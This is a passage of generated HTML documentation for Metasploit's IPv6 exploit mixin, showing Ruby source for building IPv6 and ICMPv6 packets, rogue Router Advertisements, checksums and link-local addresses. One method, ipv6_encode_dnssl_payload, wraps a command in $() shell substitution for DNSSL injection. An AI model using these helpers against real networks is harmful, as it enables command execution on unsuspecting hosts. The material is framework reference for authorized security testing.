<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_eth_daddr'>eth_daddr</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>33:33:00:00:00:01</span><span class='tstring_end'>'</span></span> <span class='comment'># All-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2)
|
||
</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_saddr'>ipv6_saddr</span> <span class='op'>=</span> <span class='id identifier rubyid_shost'>shost</span> <span class='comment'># Link-local address (https://datatracker.ietf.org/doc/html/rfc4291#section-2.5.6)
|
||
</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_daddr'>ipv6_daddr</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ff02::1</span><span class='tstring_end'>'</span></span> <span class='comment'># All-nodes multicast address (https://datatracker.ietf.org/doc/html/rfc4291-2.5.6#section-2.7.1)
|
||
</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_hop'>ipv6_hop</span> <span class='op'>=</span> <span class='int'>255</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_next'>ipv6_next</span> <span class='op'>=</span> <span class='int'>0x3a</span> <span class='comment'># ICMPv6
|
||
</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span> <span class='op'>=</span> <span class='id identifier rubyid_ra_payload'>ra_payload</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_len'>ipv6_len</span> <span class='op'>=</span> <span class='id identifier rubyid_ra_payload'>ra_payload</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>
|
||
|
||
<span class='id identifier rubyid_ipv6_checksum!'>ipv6_checksum!</span><span class='lparen'>(</span><span class='id identifier rubyid_p'>p</span><span class='rparen'>)</span>
|
||
|
||
<span class='id identifier rubyid_p'>p</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_build_ra_payload-instance_method">
|
||
|
||
#<strong>ipv6_build_ra_payload</strong> ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Build ICMPv6 Router Advertisement payload</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
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|
||
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|
||
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|
||
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|
||
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|
||
383
|
||
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|
||
385
|
||
386
|
||
387
|
||
388
|
||
389</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 378</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_build_ra_payload'>ipv6_build_ra_payload</span>
|
||
<span class='id identifier rubyid_type'>type</span> <span class='op'>=</span> <span class='int'>134</span> <span class='comment'># Router Advertisement
|
||
</span> <span class='id identifier rubyid_code'>code</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='id identifier rubyid_checksum'>checksum</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='id identifier rubyid_cur_hop_limit'>cur_hop_limit</span> <span class='op'>=</span> <span class='int'>64</span>
|
||
<span class='id identifier rubyid_flags'>flags</span> <span class='op'>=</span> <span class='int'>0x40</span> <span class='comment'># O flag (Other configuration)
|
||
</span> <span class='id identifier rubyid_router_lifetime'>router_lifetime</span> <span class='op'>=</span> <span class='int'>1800</span>
|
||
<span class='id identifier rubyid_reachable_time'>reachable_time</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='id identifier rubyid_retrans_timer'>retrans_timer</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
|
||
<span class='lbracket'>[</span><span class='id identifier rubyid_type'>type</span><span class='comma'>,</span> <span class='id identifier rubyid_code'>code</span><span class='comma'>,</span> <span class='id identifier rubyid_checksum'>checksum</span><span class='comma'>,</span> <span class='id identifier rubyid_cur_hop_limit'>cur_hop_limit</span><span class='comma'>,</span> <span class='id identifier rubyid_flags'>flags</span><span class='comma'>,</span> <span class='id identifier rubyid_router_lifetime'>router_lifetime</span><span class='comma'>,</span> <span class='id identifier rubyid_reachable_time'>reachable_time</span><span class='comma'>,</span> <span class='id identifier rubyid_retrans_timer'>retrans_timer</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>CCnCCnNN</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_build_slla_option-instance_method">
|
||
|
||
#<strong>ipv6_build_slla_option</strong>(mac) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Build Source Link-Layer Address option (<a href="https://www.rfc-editor.org/rfc/rfc4861">www.rfc-editor.org/rfc/rfc4861</a>)</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
356
|
||
357
|
||
358
|
||
359</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 356</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_build_slla_option'>ipv6_build_slla_option</span><span class='lparen'>(</span><span class='id identifier rubyid_mac'>mac</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_mac_bytes'>mac_bytes</span> <span class='op'>=</span> <span class='id identifier rubyid_mac'>mac</span><span class='period'>.</span><span class='id identifier rubyid_split'>split</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>:</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_map'>map</span> <span class='lbrace'>{</span> <span class='op'>|</span><span class='id identifier rubyid_x'>x</span><span class='op'>|</span> <span class='id identifier rubyid_x'>x</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span> <span class='rbrace'>}</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>C6</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
<span class='lbracket'>[</span><span class='int'>1</span><span class='comma'>,</span> <span class='int'>1</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>CC</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span> <span class='op'>+</span> <span class='id identifier rubyid_mac_bytes'>mac_bytes</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_checksum!-instance_method">
|
||
|
||
#<strong>ipv6_checksum!</strong>(pkt) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Usual ghetto strategy from PacketFu</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
277
|
||
278
|
||
279
|
||
280
|
||
281
|
||
282
|
||
283
|
||
284
|
||
285
|
||
286
|
||
287
|
||
288
|
||
289
|
||
290
|
||
291</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 277</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_checksum!'>ipv6_checksum!</span><span class='lparen'>(</span><span class='id identifier rubyid_pkt'>pkt</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_check_data'>check_data</span> <span class='op'>=</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_headers'>headers</span><span class='period'>.</span><span class='id identifier rubyid_last'>last</span><span class='lbracket'>[</span><span class='symbol'>:ipv6_src</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='period'>.</span><span class='id identifier rubyid_unpack'>unpack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>n8</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_check_data'>check_data</span> <span class='op'><<</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_headers'>headers</span><span class='period'>.</span><span class='id identifier rubyid_last'>last</span><span class='lbracket'>[</span><span class='symbol'>:ipv6_dst</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='period'>.</span><span class='id identifier rubyid_unpack'>unpack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>n8</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_check_data'>check_data</span> <span class='op'><<</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_len'>ipv6_len</span>
|
||
<span class='id identifier rubyid_check_data'>check_data</span> <span class='op'><<</span> <span class='lbracket'>[</span><span class='int'>0</span><span class='comma'>,</span><span class='int'>58</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_check_payload'>check_payload</span> <span class='op'>=</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span> <span class='op'>%</span> <span class='int'>2</span> <span class='op'>==</span> <span class='int'>0</span> <span class='op'>?</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span> <span class='op'>:</span> <span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x00</span><span class='tstring_end'>"</span></span>
|
||
<span class='id identifier rubyid_check_data'>check_data</span> <span class='op'><<</span> <span class='id identifier rubyid_check_payload'>check_payload</span><span class='period'>.</span><span class='id identifier rubyid_unpack'>unpack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>n*</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_check_data'>check_data</span><span class='period'>.</span><span class='id identifier rubyid_flatten!'>flatten!</span>
|
||
<span class='id identifier rubyid_checksum'>checksum</span> <span class='op'>=</span> <span class='id identifier rubyid_check_data'>check_data</span><span class='period'>.</span><span class='id identifier rubyid_inject'>inject</span><span class='lparen'>(</span><span class='int'>0</span><span class='rparen'>)</span> <span class='lbrace'>{</span><span class='op'>|</span><span class='id identifier rubyid_sum'>sum</span><span class='comma'>,</span><span class='id identifier rubyid_x'>x</span><span class='op'>|</span> <span class='id identifier rubyid_sum'>sum</span> <span class='op'>+=</span> <span class='id identifier rubyid_x'>x</span><span class='rbrace'>}</span>
|
||
<span class='id identifier rubyid_checksum'>checksum</span> <span class='op'>=</span> <span class='id identifier rubyid_checksum'>checksum</span> <span class='op'>%</span> <span class='int'>0xffff</span>
|
||
<span class='id identifier rubyid_checksum'>checksum</span> <span class='op'>=</span> <span class='int'>0xffff</span> <span class='op'>-</span> <span class='id identifier rubyid_checksum'>checksum</span>
|
||
<span class='id identifier rubyid_checksum'>checksum</span> <span class='op'>==</span> <span class='int'>0</span> <span class='op'>?</span> <span class='int'>0xffff</span> <span class='op'>:</span> <span class='id identifier rubyid_checksum'>checksum</span>
|
||
<span class='id identifier rubyid_pkt'>pkt</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='lbracket'>[</span><span class='int'>2</span><span class='comma'>,</span><span class='int'>2</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='id identifier rubyid_checksum'>checksum</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>n</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_pkt'>pkt</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_encode_dnssl_payload-instance_method">
|
||
|
||
#<strong>ipv6_encode_dnssl_payload</strong>(cmd) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Encode a command payload as DNS label format for DNSSL injection. Wraps the command in $() for shell substitution and splits into 63-byte chunks (max DNS label length).</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
324
|
||
325
|
||
326
|
||
327
|
||
328
|
||
329
|
||
330
|
||
331
|
||
332
|
||
333
|
||
334
|
||
335
|
||
336
|
||
337
|
||
338</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 324</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_encode_dnssl_payload'>ipv6_encode_dnssl_payload</span><span class='lparen'>(</span><span class='id identifier rubyid_cmd'>cmd</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_payload_str'>payload_str</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>$(</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cmd'>cmd</span><span class='embexpr_end'>}</span><span class='tstring_content'>)</span><span class='tstring_end'>"</span></span>
|
||
<span class='id identifier rubyid_payload_bytes'>payload_bytes</span> <span class='op'>=</span> <span class='id identifier rubyid_payload_str'>payload_str</span><span class='period'>.</span><span class='id identifier rubyid_encode'>encode</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCII-8BIT</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_payload_bytes'>payload_bytes</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><=</span> <span class='int'>63</span>
|
||
<span class='kw'>return</span> <span class='lbracket'>[</span><span class='id identifier rubyid_payload_bytes'>payload_bytes</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>C</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span> <span class='op'>+</span> <span class='id identifier rubyid_payload_bytes'>payload_bytes</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x00</span><span class='tstring_end'>"</span></span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||
<span class='kw'>until</span> <span class='id identifier rubyid_payload_bytes'>payload_bytes</span><span class='period'>.</span><span class='id identifier rubyid_empty?'>empty?</span>
|
||
<span class='id identifier rubyid_chunk'>chunk</span> <span class='op'>=</span> <span class='id identifier rubyid_payload_bytes'>payload_bytes</span><span class='period'>.</span><span class='id identifier rubyid_slice!'>slice!</span><span class='lparen'>(</span><span class='int'>0</span><span class='comma'>,</span> <span class='int'>63</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='lbracket'>[</span><span class='id identifier rubyid_chunk'>chunk</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>C</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_chunk'>chunk</span>
|
||
<span class='kw'>end</span>
|
||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x00</span><span class='tstring_end'>"</span></span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_encode_domain-instance_method">
|
||
|
||
#<strong>ipv6_encode_domain</strong>(name) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Encode a domain name in DNS label format (length-prefixed labels, null-terminated)</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
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|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
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|
||
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|
||
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|
||
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|
||
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|
||
315
|
||
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|
||
317
|
||
318
|
||
319</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 310</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_encode_domain'>ipv6_encode_domain</span><span class='lparen'>(</span><span class='id identifier rubyid_name'>name</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||
<span class='id identifier rubyid_name'>name</span><span class='period'>.</span><span class='id identifier rubyid_split'>split</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>.</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_each'>each</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_label'>label</span><span class='op'>|</span>
|
||
<span class='kw'>next</span> <span class='kw'>if</span> <span class='id identifier rubyid_label'>label</span><span class='period'>.</span><span class='id identifier rubyid_empty?'>empty?</span>
|
||
|
||
<span class='id identifier rubyid_data'>data</span> <span class='op'>=</span> <span class='id identifier rubyid_label'>label</span><span class='period'>.</span><span class='id identifier rubyid_encode'>encode</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCII-8BIT</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='lbracket'>[</span><span class='id identifier rubyid_data'>data</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>C</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_data'>data</span>
|
||
<span class='kw'>end</span>
|
||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x00</span><span class='tstring_end'>"</span></span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_icmpv6_echo_request-instance_method">
|
||
|
||
#<strong>ipv6_icmpv6_echo_request</strong>(id, seq, data) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Helper methods that haven’t made it upstream yet. Mostly packet data packers, also a checksum calculator.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
220
|
||
221
|
||
222
|
||
223
|
||
224
|
||
225
|
||
226
|
||
227</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 220</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_icmpv6_echo_request'>ipv6_icmpv6_echo_request</span><span class='lparen'>(</span><span class='id identifier rubyid_id'>id</span><span class='comma'>,</span><span class='id identifier rubyid_seq'>seq</span><span class='comma'>,</span><span class='id identifier rubyid_data'>data</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_type'>type</span> <span class='op'>=</span> <span class='int'>0x80</span>
|
||
<span class='id identifier rubyid_code'>code</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='id identifier rubyid_checksum'>checksum</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='id identifier rubyid_id'>id</span> <span class='op'>||=</span> <span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>0x10000</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_seq'>seq</span> <span class='op'>||=</span> <span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>0x10000</span><span class='rparen'>)</span>
|
||
<span class='lbracket'>[</span><span class='id identifier rubyid_type'>type</span><span class='comma'>,</span><span class='id identifier rubyid_code'>code</span><span class='comma'>,</span><span class='id identifier rubyid_checksum'>checksum</span><span class='comma'>,</span><span class='id identifier rubyid_id'>id</span><span class='comma'>,</span><span class='id identifier rubyid_seq'>seq</span><span class='comma'>,</span><span class='id identifier rubyid_data'>data</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>CCnnna*</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_interface-instance_method">
|
||
|
||
#<strong>ipv6_interface</strong>(opts = {}) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Shortcut method for resolving our local interface name</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
39
|
||
40
|
||
41</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 39</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_interface'>ipv6_interface</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='op'>=</span><span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>INTERFACE</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>INTERFACE</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='op'>::</span><span class='const'>Pcap</span><span class='period'>.</span><span class='id identifier rubyid_lookupdev'>lookupdev</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_link_address-instance_method">
|
||
|
||
#<strong>ipv6_link_address</strong>(opts = {}) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Shortcut method for determining our link-local address</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
46
|
||
47
|
||
48</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 46</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_link_address'>ipv6_link_address</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='op'>=</span><span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
<span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Socket</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_link_address'>ipv6_link_address</span><span class='lparen'>(</span><span class='id identifier rubyid_ipv6_interface'>ipv6_interface</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_linklocaladdr-instance_method">
|
||
|
||
#<strong>ipv6_linklocaladdr</strong>(mac) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>From Jon Hart’s Racket::L3::Misc#linklocaladdr(), which is from Daniele Bellucci</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
245
|
||
246
|
||
247
|
||
248
|
||
249</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 245</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_linklocaladdr'>ipv6_linklocaladdr</span><span class='lparen'>(</span><span class='id identifier rubyid_mac'>mac</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_mac'>mac</span> <span class='op'>=</span> <span class='id identifier rubyid_mac'>mac</span><span class='period'>.</span><span class='id identifier rubyid_split'>split</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>:</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_mac'>mac</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='lparen'>(</span><span class='id identifier rubyid_mac'>mac</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span> <span class='op'>^</span> <span class='lparen'>(</span><span class='int'>1</span> <span class='op'><<</span> <span class='int'>1</span><span class='rparen'>)</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span>
|
||
<span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>fe80</span><span class='tstring_end'>"</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span><span class='comma'>,</span> <span class='id identifier rubyid_mac'>mac</span><span class='lbracket'>[</span><span class='int'>0</span><span class='comma'>,</span><span class='int'>2</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_join'><span class='object_link'><a href="../../../top-level-namespace.html#join-instance_method" title="#join (method)">join</a></span></span><span class='comma'>,</span> <span class='id identifier rubyid_mac'>mac</span><span class='lbracket'>[</span><span class='int'>2</span><span class='comma'>,</span><span class='int'>2</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_join'><span class='object_link'><a href="../../../top-level-namespace.html#join-instance_method" title="#join (method)">join</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>ff:fe</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='comma'>,</span> <span class='id identifier rubyid_mac'>mac</span><span class='lbracket'>[</span><span class='int'>4</span><span class='comma'>,</span><span class='int'>2</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_join'><span class='object_link'><a href="../../../top-level-namespace.html#join-instance_method" title="#join (method)">join</a></span></span><span 